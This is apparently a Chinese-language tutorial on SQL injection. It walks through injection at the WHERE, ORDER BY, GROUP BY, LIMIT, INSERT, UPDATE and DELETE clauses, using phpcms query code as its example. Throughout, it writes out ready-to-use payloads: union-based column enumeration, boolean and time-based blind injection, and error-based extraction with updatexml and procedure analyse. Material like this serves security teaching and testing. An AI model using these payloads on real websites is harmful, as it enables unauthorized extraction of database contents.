一般一条详细的SQL语句可以设定查询对象(SELECT),更新对象(UPDATE),删除对象(DELETE),插入对象(INSERT),条件(WHERE),排序(ORDER BY),归类(GROUP BY),返回数量(LIMIT),其中查询对象是必须设立的,其它的参数可以按照情况自行设立。对于网站存在的SQL注入漏洞,注入点一般在条件匹配处(WHERE),这也是最常见的。同时其它位置也存在注入利用,但查询对象(SELECT)一般与条件匹配处结合使用,暂不分类描述。
附上phpcms的MySQL查询代码:
public function get_one($data, $table, $where = '', $order = '', $group = '') {
$where = $where == '' ? '' : ' WHERE '.$where;
$order = $order == '' ? '' : ' ORDER BY '.$order;
$group = $group == '' ? '' : ' GROUP BY '.$group;
$limit = ' LIMIT 1';
$field = explode( ',', $data);
array_walk($field, array($this, 'add_special_char'));
$data = implode(',', $field);
$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
$this->execute($sql);
$res = $this->fetch_next();
$this->free_result();
return $res;
}
WHERE注入
这是SQL注入最主要的漏洞利用点。举例有一个urlhttp://www.domain.com?id=1
,在后台的处理逻辑可能为:
@$id = $_GET['id'];
$sql = "SELECT id FROM content WHERE id = '$id'";
在该位置的注入利用最为方便与灵活,因为我们不仅可以控制WHERE,只需在传入的数据最后添加一个注释符就能破坏原有SQL语句结构,补充ORDER BY,GROUP BY,LIMIT等条件进行控制输出。
结合union select创建联合查询语句
首先需要获知网页显示了哪些列,因为一般用SELECT *
查询获得了多列数据,但只会显示其中部分数据,而我们需要把我们想获知的数据给直接显示在页面,就需要在原本设定的位置上进行查询。在原有SQL语句后使用union select
可以创建一个新的查询,不过需要前后两个SQL语句返回的数据数量一样,且应用在页面中时,当第一个SQL查询返回了数据时,联合查询得到的数据将不会进行输出。因此我们需要先得到原本的查询中会返回多少列数据,且使用and1=2
这样的条件使原有查询始终为False
,使联合查询得到的结果能输出到页面。
简单流程:
1. ?id=1'order by N%23 # N是从1开始递增的整数,一直增加到页面出现错误,即可得知列数为N-1
2. ?id=1'and1=2 union select 1,2,3...N-1%23 # 看页面显示哪个数字,即使用了哪个输出点
3. ?id=1'and1=2 union select 1,2,user(),...N-1%23 # 假设2中页面展示了3或其它,则可以在3的位置放置查询内容
这种最基本的查询姿势,适用于对传入参数未过滤,我们可以构造合理的查询语句对数据库进行查询,获取敏感信息,如保存用户信息的数据表等。
布尔注入
有时候SQL注入可执行,但并不会带出结果(无回显),但我们可以用其它特征来判断SQL语句的执行情况,如页面变化、响应时间等。
基于页面变化的:
1. ?id=1'and if(ascii(substr((select user()),0,1))==32,1,0)%23 # 若if条件为真,页面显示正常
2. ?id=1'and if(ascii(substr((select user()),0,1))==32,sleep(100),0)%23 # 若if条件为真,页面长时间加载
substr($string,$start,$len) # $string代表处理的字符串,$start表示开始的位置,$len表示截取的字符串长度
ascii($char) # 返回$char字符的ASCII码
由于该方法处理起来比较耗时且繁琐,一般使用脚本工具等进行爆破。
报错注入
报错注入有重复主键报错floor(rand(0)*2)
与count(*)
,路径格式出错updatexml()
等,整型溢出exp(~(select user()))
。
ORDER BY注入
与上面的WHERE
条件注入灵活多变不同,ORDER BY
注入的限制要多很多,因为一般会进行整型转换,且order by
后是不可以跟union select
联合查询语句的。
首先,order by
的功能是排序,下面这两种查询方法得到的数据一样,但在页面中所展示的位置将有所不同。
1. $sql = "SELECT id,pageid,userid,content FROM news WHERE userid=1 order by userid" # 内容将以userid的顺序进行排列
2. $sql = "SELECT id,pageid,userid,content FROM news WHERE userid=1 order by pageid" # 内容将以pageid的顺序进行排列
3. $sql = "SELECT id,pageid,userid,content FROM news WHERE userid=1 order by 2" # 这与order by pageid的效果一样,数字代表Select 处的参数位置
# order by xxx desc将以倒序进行排列
猜测列数量
使用?sort={num}
猜测当前表有多少字列,适用于select *
的情况。
列名爆破
1. ?sort=id # 页面正常
2. ?sort=xxx # 页面报错等
结合IF()进行布尔判断
假设查询语句中返回5列,即order by 5
为真,order by 6
为假。
?sort=if(ascii(substr((select user()),0,1))==32,5,6)%23 # 若IF条件正确,页面正常
?sort=if(ascii(substr((select user()),0,1))==32,1,2)%23 # 根据页面变化规律判断条件是否正确
注意:IF($result,$arg1,$arg2)中的arg参数只会被当成字符串,不会有报错执行回显。
GROUP BY注入(仅限于SQL Server)
group by
和having 1=1
组合爆表注射。语法结构:
SELECT *
FROM {数据表}
WHERE {条件1}
GROUP BY {列名} HAVING {条件2}
这里的条件1是大体条件,如groupid=1(第一小组的成员),而条件2是符合条件1后进行判断的,如age<35(年龄小于35)。
显错带出列名
若SQL语句中出现having
条件但没有group by
时,将产生语法错误。如:
SELECT * FROM member WHERE id=1 having 1=1
# 发出错误警告,带出所有列名
带有group by
,同样报错带出列名,但缺少第一个列名:
SELECT * FROM member WHERE id=1 group by id having 1=1
group by
的利用仅限于此。
LIMIT注入
用法:limit [位置偏移],[行数]
组合注入
适用范围:5.0.0< MySQL <5.6.6版本
limit
后面能够拼接的函数只有into
和procedure
,into
是用来写入文件的,那么方便利用的就只有procedure
了。
在Limit
后面可以用 procedure analyse()
这个子查询,而且只能用extractvalue()
和benchmark
函数进行延时,不能使用sleep()
函数。因此该结构展示为:
SELECT *
FROM {数据表}
WHERE {条件}
LIMIT 1,1 procedure analyse(extractvalue(rand(),user(),1))
SELECT *
FROM {数据表}
WHERE {条件}
LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ascii(substr((select user()),0,1))1,1) LIKE 32, BENCHMARK(5000000,SHA1(1)),1))))),1)
# BENCHMARK(执行次数,表达式) 设置高强度的计算操作使得数据返回有延迟,类似基于时间的布尔注入
结合union select创建联合查询语句
该方法仅适用于SQL语句中不存在order by
排序。
其它类型
INSERT注入
INSERT INTO TABLENAME(column1,column2,column3) VALUES('value1','value2','value3')
payload:
INSERT INTO TABLENAME(column1,column2,column3) VALUES('value1','value2' or 注入语句 or '','value3')
利用(需要开启报错)
?value1=aa&value2=bb'or%20updatexml(0,concat(0x7c,version()),1)%20or'&value3=cc
UPDATE注入
UPDATE TABLENAME SET column1='value1',column2='value2',column3='value3' WHERE id=1
payload:
UPDATE TABLENAME SET column1='value1','value2' or 注入语句 or '',column3='value3' WHERE id=1
利用方式上同。
DELETE注入
DELETE FROM TABLENAME WHERE id='1'
payload:
DELETE FROM TABLENAME WHERE id='1' or 注入语句 or ''
利用方式上同。
注意点
利用需要环境开启报错回显。
传入payload时需要注意闭合,不要使用注释符。